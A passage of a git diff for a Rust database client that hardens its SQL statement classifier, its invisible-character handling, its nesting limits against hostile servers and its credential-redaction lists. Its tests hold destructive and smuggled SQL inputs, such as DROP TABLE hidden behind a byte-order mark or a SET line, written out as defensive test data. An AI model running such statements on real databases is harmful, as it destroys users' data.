+            r#"SELECT U&'d\0061ta', count(*) FROM orders"#,
+            r#"SELECT U&"pg_terminate_backen\0064" FROM pg_proc"#,
+        ] {
+            assert_eq!(access(sql, SqlGrammar::PostgreSql), StatementAccess::Read, "{sql}");
+        }
+        assert_eq!(
+            access(
+                r#"SELECT U&"price" UESCAPE '!' + (1) FROM items"#,
+                SqlGrammar::PostgreSql
+            ),
+            StatementAccess::Read
+        );
+        // No other grammar decodes a name, and a spaced `&` is an AND.
+        assert_eq!(
+            access(r#"SELECT U & "f"(1) FROM t"#, SqlGrammar::Sqlite),
+            StatementAccess::Read
+        );
+        assert_eq!(
+            access(
+                r#"SELECT u & "abs"(-3) FROM (VALUES (7)) AS t(u)"#,
+                SqlGrammar::PostgreSql
+            ),
+            StatementAccess::Read
+        );
+    }
+
+    #[test]
+    fn a_sql_server_statement_that_ends_in_a_clause_word_still_ends() {
+        for sql in [
+            "SET NOCOUNT ON\nDROP TABLE orders",
+            "SET XACT_ABORT ON\nTRUNCATE TABLE orders",
+            "SET IDENTITY_INSERT orders ON\nDELETE FROM orders",
+            "SET IDENTITY_INSERT orders ON\nDELETE orders",
+            "SET NOCOUNT ON\nUPDATE orders SET total = 0",
+            "SELECT 1\nSET NOCOUNT ON -- quiet\nDROP TABLE orders",
+            "CLOSE MASTER KEY\nDROP TABLE orders",
+            "SELECT * FROM before\nDROP TABLE orders",
+            "SELECT * FROM after\nDELETE FROM orders",
+            "SELECT * FROM instead\nTRUNCATE TABLE orders",
+            "SELECT * FROM do\nUPDATE orders SET total = 0",
+            "ALTER TABLE t ADD x int\nDROP TABLE y",
+            "ALTER TABLE t ADD x int\nDELETE FROM y",
+        ] {
+            assert_eq!(access(sql, SqlGrammar::MsSql), StatementAccess::Destructive, "{sql}");
+        }
+        for sql in [
+            "ALTER TABLE lines ADD CONSTRAINT fk FOREIGN KEY (order_id) REFERENCES orders (id) ON DELETE CASCADE",
+            "ALTER TABLE lines ADD CONSTRAINT fk FOREIGN KEY (order_id) REFERENCES orders (id) ON UPDATE SET NULL",
+            "ALTER TABLE lines ADD CONSTRAINT fk FOREIGN KEY (order_id) REFERENCES orders (id) ON DELETE NO ACTION",
+            "SET NOCOUNT ON\nDELETE FROM orders WHERE id = 1",
+            "ALTER TABLE orders DROP COLUMN note",
+            "ALTER TABLE orders DROP CONSTRAINT orders_pk",
+            "MERGE INTO t USING s ON t.id = s.id WHEN MATCHED THEN DELETE",
+            "DECLARE c CURSOR FOR SELECT id FROM orders FOR UPDATE",
+        ] {
+            assert_eq!(access(sql, SqlGrammar::MsSql), StatementAccess::Write, "{sql}");
+        }
+    }
 }
diff --git a/linux/crates/core/src/unicode_blank.rs b/linux/crates/core/src/unicode_blank.rs
new file mode 100644
index 0000000000..ee6d8ecce6
--- /dev/null
+++ b/linux/crates/core/src/unicode_blank.rs
@@ -0,0 +1,50 @@
+//! Characters that show as nothing, which a reader cannot tell apart
+//! from a space or from no character at all.
+
+/// Unicode's Default_Ignorable_Code_Point: U+200B, U+FEFF and the rest a
+/// renderer draws as nothing.
+pub fn is_default_ignorable(c: char) -> bool {
+    matches!(
+        u32::from(c),
+        0x00AD
+            | 0x034F
+            | 0x061C
+            | 0x115F..=0x1160
+            | 0x17B4..=0x17B5
+            | 0x180B..=0x180F
+            | 0x200B..=0x200F
+            | 0x202A..=0x202E
+            | 0x2060..=0x206F
+            | 0x3164
+            | 0xFE00..=0xFE0F
+            | 0xFEFF
+            | 0xFFA0
+            | 0xFFF0..=0xFFF8
+            | 0x1BCA0..=0x1BCA3
+            | 0x1D173..=0x1D17A
+            | 0xE0000..=0xE0FFF
+    )
+}
+
+/// White space, or a character that shows as nothing.
+pub fn is_blank(c: char) -> bool {
+    c.is_whitespace() || is_default_ignorable(c)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn invisible_characters_are_blank_and_letters_are_not() {
+        for c in [
+            '\u{feff}', '\u{200b}', '\u{00ad}', '\u{2060}', '\u{a0}', ' ', '\u{3000}',
+        ] {
+            assert!(is_blank(c), "{:04x}", u32::from(c));
+        }
+        for c in ['a', 'é', '-', '_', '\u{4e00}'] {
+            assert!(!is_blank(c), "{c}");
+        }
+        assert!(!is_default_ignorable('\u{a0}'));
+    }
+}
diff --git a/linux/crates/core/tests/script_corpus.rs b/linux/crates/core/tests/script_corpus.rs
index 755f0cfde7..843cffbc63 100644
--- a/linux/crates/core/tests/script_corpus.rs
+++ b/linux/crates/core/tests/script_corpus.rs
@@ -73,6 +73,124 @@ fn escape_string_backslash_quote() {
     );
 }
 
+/// A string that follows `E'...'` after a line break continues it, and
+/// the server reads it with backslash escapes on, so `\'` does not end it.
+#[test]
+fn escape_string_continues_past_a_line_break() {
+    for grammar in [SqlGrammar::PostgreSql, SqlGrammar::DuckDb] {
+        for continued in [
+            "SELECT E'a'\n'\\'; b'",
+            "SELECT E'a'\r'\\'; b'",
+            "SELECT E'a' \t\x0c-- note\n\x0b -- note\r\n '\\'; b'",
+            "SELECT E'a'\n'b'\n'\\'; c'",
+        ] {
+            let text = format!("{continued}; SELECT 2;");
+            assert_eq!(
+                statements(grammar, &text),
+                [continued, "SELECT 2"],
+                "{grammar:?}: {continued:?}"
+            );
+        }
+    }
+    // Without a line break, past a block comment, past anything but a
+    // blank or a `--` comment, or after a vertical tab before the line
+    // break, the server ends the string and so must the lexer.
+    for apart in [
+        "SELECT E'a' '\\'",
+        "SELECT E'a' /* note */\n'\\'",
+        "SELECT E'a'\n, '\\'",
+        "SELECT E'a'\x0b\n'\\'",
+    ] {
+        let text = format!("{apart}; SELECT 2;");
+        assert_eq!(
+            statements(SqlGrammar::PostgreSql, &text),
+            [apart, "SELECT 2"],
+            "{apart:?}"
+        );
+    }
+    assert_eq!(
+        plan(SqlGrammar::PostgreSql, "SELECT E'a'\n'b").diagnostics(),
+        [ScriptDiagnostic::Unterminated {
+            construct: OpenConstruct::StringLiteral,
+            start: 7,
+        }]
+    );
+}
+
+#[test]
+fn a_sqlite_parameter_runs_to_its_closing_parenthesis() {
+    for parameter in [
+        "$1(')",
+        "$a::b(;)",
+        "@a(\")",
+        ":a(`)",
+        "#a([)",
+        "$a(\u{1b}')",
+        ":::a(')",
+    ] {
+        let text = format!("SELECT {parameter}; SELECT 2; --'");
+        assert_eq!(
+            statements(SqlGrammar::Sqlite, &text),
+            [format!("SELECT {parameter}").as_str(), "SELECT 2"],
+            "{parameter}"
+        );
+    }
+    // White space ends it early, and one of no name is none.
+    for text in [
+        "SELECT $1( '; SELECT 2; --')",
+        "SELECT $1(\n'; SELECT 2; --')",
+        "SELECT $('; SELECT 2; --')",
+        "SELECT $::('; SELECT 2; --')",
+        "SELECT a$1('; SELECT 2; --')",
+        "SELECT ?1('; SELECT 2; --')",
+    ] {
+        assert_eq!(statements(SqlGrammar::Sqlite, text), [text], "{text}");
+    }
+    for grammar in [SqlGrammar::PostgreSql, SqlGrammar::MySql, SqlGrammar::MsSql] {
+        let text = "SELECT $1('); SELECT 2; --')";
+        assert_eq!(statements(grammar, text), [text], "{grammar:?}");
+    }
+
+    let text = "SELECT $a::b, $a::b(c;d), $e(";
+    let words: Vec<&str> = plan(SqlGrammar::Sqlite, text)
+        .tokens(0..text.len())
+        .filter(|token| token.kind == ScriptTokenKind::Word)
+        .map(|token| &text[token.range.clone()])
+        .collect();
+    assert_eq!(words, ["SELECT", "$a::b", "$a::b(c;d)", "$e("]);
+}
+
+#[test]
+fn a_byte_order_mark_is_a_space_where_sqlite_starts_a_token() {
+    let words = |grammar: SqlGrammar, text: &str| -> Vec<String> {
+        plan(grammar, text)
+            .tokens(0..text.len())
+            .filter(|token| token.kind == ScriptTokenKind::Word)
+            .map(|token| text[token.range.clone()].to_owned())
+            .collect()
+    };
+
+    assert_eq!(
+        words(SqlGrammar::Sqlite, "\u{feff}DROP \u{feff}\u{feff}TABLE t"),
+        ["DROP", "TABLE", "t"]
+    );
+    assert_eq!(
+        words(SqlGrammar::Sqlite, "DROP\u{feff} TABLE t"),
+        ["DROP\u{feff}", "TABLE", "t"]
+    );
+    assert_eq!(
+        statements(SqlGrammar::Sqlite, "SELECT 1;\u{feff}DELETE FROM t;"),
+        ["SELECT 1", "DELETE FROM t"]
+    );
+    for grammar in [SqlGrammar::PostgreSql, SqlGrammar::MySql] {
+        assert_eq!(
+            words(grammar, "\u{feff}DROP TABLE t"),
+            ["\u{feff}DROP", "TABLE", "t"],
+            "{grammar:?}"
+        );
+    }
+}
+
 #[test]
 fn backslash_plain_string_when_enabled_vs_disabled() {
     let text = r"SELECT 'a\'; SELECT 'b';";
diff --git a/linux/crates/drivers/cassandra/src/cql_type.rs b/linux/crates/drivers/cassandra/src/cql_type.rs
index 1e630a494c..8bdd79074a 100644
--- a/linux/crates/drivers/cassandra/src/cql_type.rs
+++ b/linux/crates/drivers/cassandra/src/cql_type.rs
@@ -213,20 +213,26 @@ impl CqlType {
 
     /// The type a result's metadata gives a column.
     pub(crate) fn from_wire(wire: &WireType<'_>) -> Self {
+        Self::from_wire_at(wire, 0)
+    }
+
+    fn from_wire_at(wire: &WireType<'_>, depth: usize) -> Self {
+        if depth > MAX_NESTING {
+            return Self::Custom("a type nested too deep".to_owned());
+        }
+        let inner = |wire: &WireType<'_>| Box::new(Self::from_wire_at(wire, depth + 1));
         match wire {
             WireType::Native(native) => Self::Native(native_of(native)),
             WireType::Collection { frozen, typ } => {
                 let collection = match typ {
-                    CollectionType::List(element) => Self::List(Box::new(Self::from_wire(element))),
-                    CollectionType::Set(element) => Self::Set(Box::new(Self::from_wire(element))),
-                    CollectionType::Map(key, value) => {
-                        Self::Map(Box::new(Self::from_wire(key)), Box::new(Self::from_wire(value)))
-                    }
+                    CollectionType::List(element) => Self::List(inner(element)),
+                    CollectionType::Set(element) => Self::Set(inner(element)),
+                    CollectionType::Map(key, value) => Self::Map(inner(key), inner(value)),
                     _ => Self::Custom(format!("{typ:?}")),
                 };
                 frozen_if(*frozen, collection)
             }
-            WireType::Vector { typ, dimensions } => Self::Vector(Box::new(Self::from_wire(typ)), *dimensions),
+            WireType::Vector { typ, dimensions } => Self::Vector(inner(typ), *dimensions),
             WireType::UserDefinedType { frozen, definition } => {
                 let udt = Self::Udt {
                     keyspace: None,
@@ -234,9 +240,12 @@ impl CqlType {
                 };
                 frozen_if(*frozen, udt)
             }
-            WireType::Tuple(elements) => {
-                Self::Frozen(Box::new(Self::Tuple(elements.iter().map(Self::from_wire).collect())))
-            }
+            WireType::Tuple(elements) => Self::Frozen(Box::new(Self::Tuple(
+                elements
+                    .iter()
+                    .map(|element| Self::from_wire_at(element, depth + 1))
+                    .collect(),
+            ))),
             other => Self::Custom(format!("{other:?}")),
         }
     }
@@ -244,7 +253,7 @@ impl CqlType {
     /// The type `system_schema.columns` writes, such as
     /// `frozen<map<text, int>>`. `None` for text no type grammar reads.
     pub(crate) fn parse(text: &str) -> Option<Self> {
-        let mut parser = Parser { text, at: 0 };
+        let mut parser = Parser { text, at: 0, depth: 0 };
         let parsed = parser.cql_type()?;
         parser.skip_space();
         (parser.at == text.len()).then_some(parsed)
@@ -325,9 +334,15 @@ fn quote_type_name(name: &str) -> String {
     }
 }
 
+/// Deeper than any type a schema declares, and shallow enough that the
+/// walkers over a type, its drop included, stay well inside a worker's
+/// stack whatever the server sends.
+const MAX_NESTING: usize = 32;
+
 struct Parser<'a> {
     text: &'a str,
     at: usize,
+    depth: usize,
 }
 
 impl Parser<'_> {
@@ -377,6 +392,16 @@ impl Parser<'_> {
     }
 
     fn cql_type(&mut self) -> Option<CqlType> {
+        if self.depth >= MAX_NESTING {
+            return None;
+        }
+        self.depth += 1;
+        let parsed = self.nested_type();
+        self.depth -= 1;
+        parsed
+    }
+
+    fn nested_type(&mut self) -> Option<CqlType> {
         self.skip_space();
         if self.text[self.at..].starts_with('\'') {
             let rest = &self.text[self.at + 1..];
@@ -544,4 +569,23 @@ mod tests {
         assert!(parsed("frozen<map<int, int>>").is_opaque_composite());
         assert!(!parsed("frozen<tuple<int, int>>").is_opaque_composite());
     }
+
+    #[test]
+    fn a_type_nested_past_the_limit_is_not_read() {
+        let deep = format!("{}int{}", "list<".repeat(100_000), ">".repeat(100_000));
+        assert_eq!(CqlType::parse(&deep), None);
+
+        let worker = std::thread::Builder::new().stack_size(2 << 20);
+        let handle = worker
+            .spawn(|| {
+                // The element is a level too.
+                let levels = MAX_NESTING - 1;
+                let limit = format!("{}int{}", "list<".repeat(levels), ">".repeat(levels));
+                let parsed = CqlType::parse(&limit);
+                assert!(parsed.is_some());
+                assert_eq!(parsed.map(|parsed| parsed.to_string()), Some(limit));
+            })
+            .unwrap();
+        handle.join().unwrap();
+    }
 }
diff --git a/linux/crates/drivers/cassandra/src/dialect.rs b/linux/crates/drivers/cassandra/src/dialect.rs
index 7a4850f713..ced163ac1f 100644
--- a/linux/crates/drivers/cassandra/src/dialect.rs
+++ b/linux/crates/drivers/cassandra/src/dialect.rs
@@ -457,6 +457,7 @@ const CREDENTIAL_RULES: CredentialRules = CredentialRules {
         (&["ALTER", "ROLE"], &["PASSWORD", "HASHED"]),
     ],
     carriers: &[],
+    secret_parameters: &[],
 };
 
 #[cfg(test)]
diff --git a/linux/crates/drivers/cassandra/src/rows.rs b/linux/crates/drivers/cassandra/src/rows.rs
index 8608ca1d2f..9d2441e3a3 100644
--- a/linux/crates/drivers/cassandra/src/rows.rs
+++ b/linux/crates/drivers/cassandra/src/rows.rs
@@ -50,7 +50,8 @@ impl ColumnsRead {
         let iter = rows
             .rows::<Row>()
             .map_err(|error| DriverError::Protocol(error.to_string()))?;
-        let mut decoded = Vec::with_capacity(rows.rows_num());
+        // Not sized by the count the server declares: the rows read bound it.
+        let mut decoded = Vec::new();
         for row in iter {
             let row = row.map_err(|error| DriverError::Protocol(error.to_string()))?;
             decoded.push(
diff --git a/linux/crates/drivers/clickhouse/src/clickhouse_type.rs b/linux/crates/drivers/clickhouse/src/clickhouse_type.rs
index 59b8bbd22b..92a3a1a1f3 100644
--- a/linux/crates/drivers/clickhouse/src/clickhouse_type.rs
+++ b/linux/crates/drivers/clickhouse/src/clickhouse_type.rs
@@ -80,13 +80,41 @@ impl ClickHouseType {
 /// clickhouse-types slices a name at fixed byte offsets and at its last
 /// byte, which land on character boundaries only when the name is ASCII
 /// or ends in the closing parenthesis the server always prints.
+///
+/// It also calls itself once per wrapper, on the stack, as do `kind_of`
+/// and `CellPlan::of` on what it builds, so a name with more wrappers
+/// than [`MAX_WRAPPERS`] is left to the shared classifier, which bounds
+/// its own nesting.
 fn parse_node(text: &str) -> Option<DataTypeNode> {
     if !text.is_ascii() && !text.ends_with(')') {
         return None;
     }
+    let wrappers: usize = WRAPPERS.iter().map(|name| text.matches(name).count()).sum();
+    if wrappers > MAX_WRAPPERS {
+        return None;
+    }
     DataTypeNode::new(text).ok()
 }
 
+/// The names clickhouse-types parses by calling itself on what they
+/// wrap. It goes by the name and not by the parentheses around the inner
+/// type (`Array!UInt8!` parses as `Array(UInt8)`), so the names are what
+/// bounds how deep it recurses.
+const WRAPPERS: [&str; 8] = [
+    "Nullable",
+    "LowCardinality",
+    "Array",
+    "Map",
+    "Tuple",
+    "Variant",
+    "SimpleAggregateFunction",
+    "JSON",
+];
+
+/// More wrappers than any column declares, and few enough that a hostile
+/// name cannot exhaust the stack of a runtime worker.
+const MAX_WRAPPERS: usize = 64;
+
 /// The type a value of this column is bound as: the wrappers change how
 /// it is stored, not what text the server parses for it, and a NULL is
 /// written as the literal rather than bound.
@@ -315,4 +343,44 @@ mod tests {
         );
         assert!(!array.nullable, "the element's NULL was read as the column's");
     }
+
+    #[test]
+    fn a_name_with_too_many_wrappers_is_read_as_server_text() {
+        // clickhouse-types takes `Array!UInt8!` for `Array(UInt8)`.
+        for (open, close) in [
+            ("Array(", ")"),
+            ("Array!", "!"),
+            ("Map(String, ", ")"),
+            ("Nullable(", ")"),
+        ] {
+            let name = format!("{}UInt8{}", open.repeat(100_000), close.repeat(100_000));
+
+            assert_eq!(parsed(&name).plan, CellPlan::Raw { type_name: name });
+        }
+    }
+
+    #[test]
+    fn a_name_at_the_wrapper_limit_parses_on_a_worker_stack() {
+        // A runtime worker has the 2 MiB default stack.
+        let worker = std::thread::Builder::new().stack_size(2 << 20);
+        let handle = worker
+            .spawn(|| {
+                for (open, close) in [
+                    ("Array(", ")"),
+                    ("Nullable(", ")"),
+                    ("LowCardinality(", ")"),
+                    ("Map(String, ", ")"),
+                    ("Tuple(", ")"),
+                    ("Variant(", ")"),
+                    ("SimpleAggregateFunction(any, ", ")"),
+                ] {
+                    let name = format!("{}UInt8{}", open.repeat(MAX_WRAPPERS), close.repeat(MAX_WRAPPERS));
+
+                    assert!(parse_node(&name).is_some(), "{open}");
+                    assert_eq!(parsed(&name).column_type.name, name);
+                }
+            })
+            .unwrap();
+        handle.join().unwrap();
+    }
 }
diff --git a/linux/crates/drivers/clickhouse/src/dialect.rs b/linux/crates/drivers/clickhouse/src/dialect.rs
index fc978cd8ab..e2ef2b7b74 100644
--- a/linux/crates/drivers/clickhouse/src/dialect.rs
+++ b/linux/crates/drivers/clickhouse/src/dialect.rs
@@ -424,6 +424,7 @@ const CREDENTIAL_RULES: CredentialRules = CredentialRules {
         "aes_encrypt_mysql",
         "aes_decrypt_mysql",
     ],
+    secret_parameters: &[],
 };
 
 #[cfg(test)]
diff --git a/linux/crates/drivers/duckdb/src/dialect.rs b/linux/crates/drivers/duckdb/src/dialect.rs
index 5f04727449..316b34a906 100644
--- a/linux/crates/drivers/duckdb/src/dialect.rs
+++ b/linux/crates/drivers/duckdb/src/dialect.rs
@@ -377,6 +377,7 @@ const CREDENTIAL_RULES: CredentialRules = CredentialRules {
         "mysql_execute",
         "add_parquet_key",
     ],
+    secret_parameters: &[],
 };
 
 #[cfg(test)]
diff --git a/linux/crates/drivers/mongodb/src/catalog.rs b/linux/crates/drivers/mongodb/src/catalog.rs
index 7d80aae8d3..74acb83b84 100644
--- a/linux/crates/drivers/mongodb/src/catalog.rs
+++ b/linux/crates/drivers/mongodb/src/catalog.rs
@@ -59,10 +59,7 @@ impl Reader<'_> {
         let mut documents = Vec::new();
         loop {
             match cursor.advance(self.session).await {
-                Ok(true) => documents.push(cursor.deserialize_current().map_err(|error| DriverError::Decode {
-                    column: String::new(),
-                    detail: error.to_string(),
-                })?),
+                Ok(true) => documents.push(crate::nested_document::current_document(&cursor)?),
                 Ok(false) => return Ok(documents),
                 Err(error) => return Err(self.endpoint.explain(&error, LossPhase::Statement).await),
             }
diff --git a/linux/crates/drivers/mongodb/src/cursor_rows.rs b/linux/crates/drivers/mongodb/src/cursor_rows.rs
index 3867e0c715..07b716758e 100644
--- a/linux/crates/drivers/mongodb/src/cursor_rows.rs
+++ b/linux/crates/drivers/mongodb/src/cursor_rows.rs
@@ -140,10 +140,7 @@ async fn every(
 }
 
 fn current(cursor: &SessionCursor<Document>) -> Result<Document, DriverError> {
-    cursor.deserialize_current().map_err(|error| DriverError::Decode {
-        column: String::new(),
-        detail: error.to_string(),
-    })
+    crate::nested_document::current_document(cursor)
 }
 
 async fn finish(sink: &mut dyn ResultSink, retained: u64, total_rows: Option<u64>, truncation: Truncation) -> SinkFlow {
diff --git a/linux/crates/drivers/mongodb/src/execute.rs b/linux/crates/drivers/mongodb/src/execute.rs
index 1257116440..c476d3811a 100644
--- a/linux/crates/drivers/mongodb/src/execute.rs
+++ b/linux/crates/drivers/mongodb/src/execute.rs
@@ -73,7 +73,7 @@ pub(crate) async fn start(
                 });
             }
             let first = match cursor.advance(session).await {
-                Ok(true) => cursor.deserialize_current().ok(),
+                Ok(true) => crate::nested_document::current_document(&cursor).ok(),
                 Ok(false) => None,
                 Err(error) => return Err(endpoint.explain(&error, LossPhase::Statement).await),
             };
diff --git a/linux/crates/drivers/mongodb/src/lib.rs b/linux/crates/drivers/mongodb/src/lib.rs
index b0a234b049..98745b90fb 100644
--- a/linux/crates/drivers/mongodb/src/lib.rs
+++ b/linux/crates/drivers/mongodb/src/lib.rs
@@ -25,6 +25,7 @@ mod errors;
 mod execute;
 mod extended_json;
 mod field_types;
+mod nested_document;
 mod relay;
 mod rows;
 mod server_version;
diff --git a/linux/crates/drivers/mongodb/src/nested_document.rs b/linux/crates/drivers/mongodb/src/nested_document.rs
new file mode 100644
index 0000000000..7b35ba1118
--- /dev/null
+++ b/linux/crates/drivers/mongodb/src/nested_document.rs
@@ -0,0 +1,84 @@
+//! A cursor's documents, taken out only once their nesting is known.
+//!
+//! bson turns raw bytes into a `Document` by calling itself once per
+//! level, and writing one out and dropping it do the same, so a document
+//! nested deep enough would overflow the stack of the thread that reads
+//! it.
+
+use bson::Document;
+use bson::raw::{RawBsonRef, RawDocument};
+use mongodb::SessionCursor;
+use tablepro_core::DriverError;
+
+/// Deeper than MongoDB stores a document (100 levels), so only a hostile
+/// server sends one.
+const MAX_DEPTH: usize = 128;
+
+/// The cursor's current document, refused when it nests deeper than
+/// [`MAX_DEPTH`].
+pub(crate) fn current_document(cursor: &SessionCursor<Document>) -> Result<Document, DriverError> {
+    if !within_depth(cursor.current()) {
+        return Err(DriverError::Decode {
+            column: String::new(),
+            detail: format!("the document nests deeper than {MAX_DEPTH} levels"),
+        });
+    }
+    cursor.deserialize_current().map_err(|error| DriverError::Decode {
+        column: String::new(),
+        detail: error.to_string(),
+    })
+}
+
+/// Walks the levels with a stack of its own, so the walk itself stays
+/// off the thread's stack. A malformed element is left for bson to
+/// report.
+fn within_depth(document: &RawDocument) -> bool {
+    let mut open = vec![document.iter_elements()];
+    while let Some(elements) = open.last_mut() {
+        let Some(element) = elements.next() else {
+            open.pop();
+            continue;
+        };
+        let nested = match element.and_then(|element| element.value()) {
+            Ok(RawBsonRef::Document(inner)) => inner.iter_elements(),
+            Ok(RawBsonRef::Array(inner)) => inner.iter_elements(),
+            Ok(RawBsonRef::JavaScriptCodeWithScope(code)) => code.scope.iter_elements(),
+            _ => continue,
+        };
+        if open.len() >= MAX_DEPTH {
+            return false;
+        }
+        open.push(nested);
+    }
+    true
+}
+
+#[cfg(test)]
+mod tests {
+    use bson::{Bson, RawDocumentBuf, doc};
+
+    use super::*;
+
+    /// A document `levels` containers deep, the outer document included,
+    /// arrays and documents in turn.
+    fn nested(levels: usize) -> RawDocumentBuf {
+        let mut value = Bson::Int32(1);
+        for level in 1..levels {
+            value = match level % 2 {
+                0 => Bson::Document(doc! { "inner": value }),
+                _ => Bson::Array(vec![value]),
+            };
+        }
+        RawDocumentBuf::try_from(&doc! { "root": value }).unwrap()
+    }
+
+    #[test]
+    fn a_document_at_the_limit_is_read() {
+        assert!(within_depth(&nested(MAX_DEPTH)));
+    }
+
+    #[test]
+    fn a_document_past_the_limit_is_refused() {
+        assert!(!within_depth(&nested(MAX_DEPTH + 1)));
+    }
+}
diff --git a/linux/crates/drivers/mongodb/src/rows.rs b/linux/crates/drivers/mongodb/src/rows.rs
index 8b12315761..0024d16a53 100644
--- a/linux/crates/drivers/mongodb/src/rows.rs
+++ b/linux/crates/drivers/mongodb/src/rows.rs
@@ -124,7 +124,7 @@ pub(crate) async fn collect(
             loop {
                 match cursor.advance(session).await {
                     Ok(true) if (documents.len() as u64) < limit.get() => {
-                        documents.push(cursor.deserialize_current().map_err(|error| decode(&error))?);
+                        documents.push(crate::nested_document::current_document(&cursor)?);
                     }
                     Ok(true) => {
                         truncated = true;
@@ -158,13 +158,6 @@ pub(crate) async fn collect(
     Ok(QueryResult::new(layout.columns(), rows).truncated(truncated))
 }
 
-fn decode(error: &mongodb::error::Error) -> DriverError {
-    DriverError::Decode {
-        column: String::new(),
-        detail: error.to_string(),
-    }
-}
-
 /// Stream a source into `sink`, keeping at most `limit` rows when there
 /// is one.
 pub(crate) async fn emit(
diff --git a/linux/crates/drivers/mssql/src/dialect.rs b/linux/crates/drivers/mssql/src/dialect.rs
index 7b470b9519..93c83b3324 100644
--- a/linux/crates/drivers/mssql/src/dialect.rs
+++ b/linux/crates/drivers/mssql/src/dialect.rs
@@ -465,7 +465,49 @@ const CREDENTIAL_RULES: CredentialRules = CredentialRules {
         "DECRYPTBYKEYAUTOCERT",
         "SIGNBYASYMKEY",
         "SIGNBYCERT",
+        "CERTPRIVATEKEY",
+        "PWDCOMPARE",
+        "PWDENCRYPT",
+        "sp_xp_cmdshell_proxy_account",
+        "sysmail_add_account_sp",
+        "sysmail_update_account_sp",
+        // Replication and log shipping: the distributor_admin, Publisher,
+        // Subscriber, agent job and monitor passwords, as arguments or as
+        // a property value.
+        "sp_adddistributor",
+        "sp_changedistributor_password",
+        "sp_adddistributiondb",
+        "sp_adddistpublisher",
+        "sp_changedistpublisher",
+        "sp_addsubscriber",
+        "sp_changesubscriber",
+        "sp_addlogreader_agent",
+        "sp_changelogreader_agent",
+        "sp_addqreader_agent",
+        "sp_changeqreader_agent",
+        "sp_addpublication_snapshot",
+        "sp_changepublication_snapshot",
+        "sp_addpushsubscription_agent",
+        "sp_addpullsubscription_agent",
+        "sp_addmergepushsubscription_agent",
+        "sp_addmergepullsubscription_agent",
+        "sp_changesubscription",
+        "sp_changemergesubscription",
+        "sp_changemergepullsubscription",
+        "sp_change_subscription_properties",
+        "sp_changereplicationserverpasswords",
+        "sp_adddynamicsnapshot_job",
+        "sp_changedynamicsnapshot_job",
+        "sp_attachsubscription",
+        "sp_link_publication",
+        "sp_add_log_shipping_primary_database",
+        "sp_change_log_shipping_primary_database",
+        "sp_add_log_shipping_secondary_primary",
+        "sp_change_log_shipping_secondary_primary",
+        "sp_add_log_shipping_secondary_database",
+        "sp_change_log_shipping_secondary_database",
     ],
+    secret_parameters: &["PASSWORD", "PWD"],
 };
 
 #[cfg(test)]
@@ -779,6 +821,21 @@ mod tests {
             "SELECT DECRYPTBYPASSPHRASE('passphrase', secret) FROM t",
             "EXEC sp_addlinkedserver @server = 's', @srvproduct = '', @provider = 'MSOLEDBSQL', @provstr = 'Server=h;Uid=u;Pwd=p;'",
             "SELECT u.id FROM users u JOIN logins l ON DECRYPTBYPASSPHRASE('secret', l.hash) = u.token",
+            "EXEC sp_xp_cmdshell_proxy_account 'CORP\\svc-sql', 'p'",
+            "EXEC msdb.dbo.sysmail_add_account_sp @account_name = 'ops', @username = 'ops', @password = 'p'",
+            "EXEC msdb.dbo.sysmail_update_account_sp @account_name = 'ops', @password = 'p'",
+            "EXEC sp_adddistributor @distributor = 'd', @password = 'p'",
+            "EXEC sp_changedistributor_password @password = 'p'",
+            "EXEC sp_changedistpublisher @publisher = 'pub', @property = 'password', @value = 'p'",
+            "EXEC sp_addpullsubscription_agent @publisher = 'pub', @publisher_db = 'd', @publication = 'p', @distributor_password = 'p'",
+            "EXEC sp_add_log_shipping_primary_database @database = 'd', @monitor_server_password = 'p'",
+            "EXEC dbo.any_procedure @login = 'l', @pwd = 'p'",
+            "SELECT name FROM sys.sql_logins WHERE PWDCOMPARE('p', password_hash) = 1",
+            "SELECT PWDENCRYPT('p')",
+            "SELECT CERTPRIVATEKEY(CERT_ID('c'), 'encryption password', 'decryption password')",
+            "EXEC('CREATE LOGIN l WITH PASSWORD = ''p''')",
+            "EXEC sp_executesql N'CREATE USER u WITH PASSWORD = ''p'''",
+            "DECLARE @s nvarchar(99) = N'CREATE LOGIN l WITH PASSWORD = ''p'''; EXEC (@s)",
         ] {
             assert_eq!(
                 dialect().history_recording(sql),
diff --git a/linux/crates/drivers/mysql/src/dialect.rs b/linux/crates/drivers/mysql/src/dialect.rs
index dedd423ca4..4a8e94b0ef 100644
--- a/linux/crates/drivers/mysql/src/dialect.rs
+++ b/linux/crates/drivers/mysql/src/dialect.rs
@@ -432,6 +432,7 @@ const CREDENTIAL_RULES: CredentialRules = CredentialRules {
         "ENCODE",
         "DECODE",
     ],
+    secret_parameters: &[],
 };
 
 #[cfg(test)]
diff --git a/linux/crates/drivers/mysql/src/stream_read.rs b/linux/crates/drivers/mysql/src/stream_read.rs
index 1c0b125ea8..d3989ba11a 100644
--- a/linux/crates/drivers/mysql/src/stream_read.rs
+++ b/linux/crates/drivers/mysql/src/stream_read.rs
@@ -1,8 +1,8 @@
 use std::sync::Arc;
 
 use futures_util::TryStreamExt;
-use sqlx::mysql::MySqlConnection;
-use sqlx::{AssertSqlSafe, Either, Executor as _, Row as _};
+use sqlx::mysql::{MySqlConnection, MySqlDatabaseError};
+use sqlx::{AssertSqlSafe, Either, Executor as _, Row as _, SqlSafeStr as _};
 use tablepro_core::column::ResultColumn;
 use tablepro_core::sql_syntax::{SqlGrammar, StatementAccess, statement_access};
 use tablepro_core::{
@@ -30,6 +30,7 @@ pub(crate) async fn stream(
 ) -> Result<StreamSummary, DriverError> {
     if let ReadStatement::User(sql) = read {
         refuse_writes(sql.as_str())?;
+        refuse_more_than_one(connection, flavour, sql.as_str()).await?;
     }
     connection
         .execute("START TRANSACTION READ ONLY")
@@ -85,6 +86,35 @@ pub(crate) fn refuse_writes(sql: &str) -> Result<(), DriverError> {
     }
 }
 
+/// MySQL's ER_UNSUPPORTED_PS: the statement parsed, as one, but the
+/// prepared-statement protocol does not run its kind.
+const UNSUPPORTED_IN_PREPARE: u16 = 1295;
+
+/// The read runs over the text protocol, which runs every statement a
+/// text holds. A prepare parses the text the way the server will, with
+/// multiple statements off, so a text the server reads as more than one
+/// fails here whatever the client's lexer made of it.
+async fn refuse_more_than_one(
+    connection: &mut MySqlConnection,
+    flavour: MySqlFlavour,
+    sql: &str,
+) -> Result<(), DriverError> {
+    let prepared = (&mut *connection)
+        .prepare(AssertSqlSafe(sql.to_owned()).into_sql_str())
+        .await;
+    match prepared {
+        Ok(_) => Ok(()),
+        Err(sqlx::Error::Database(error))
+            if error
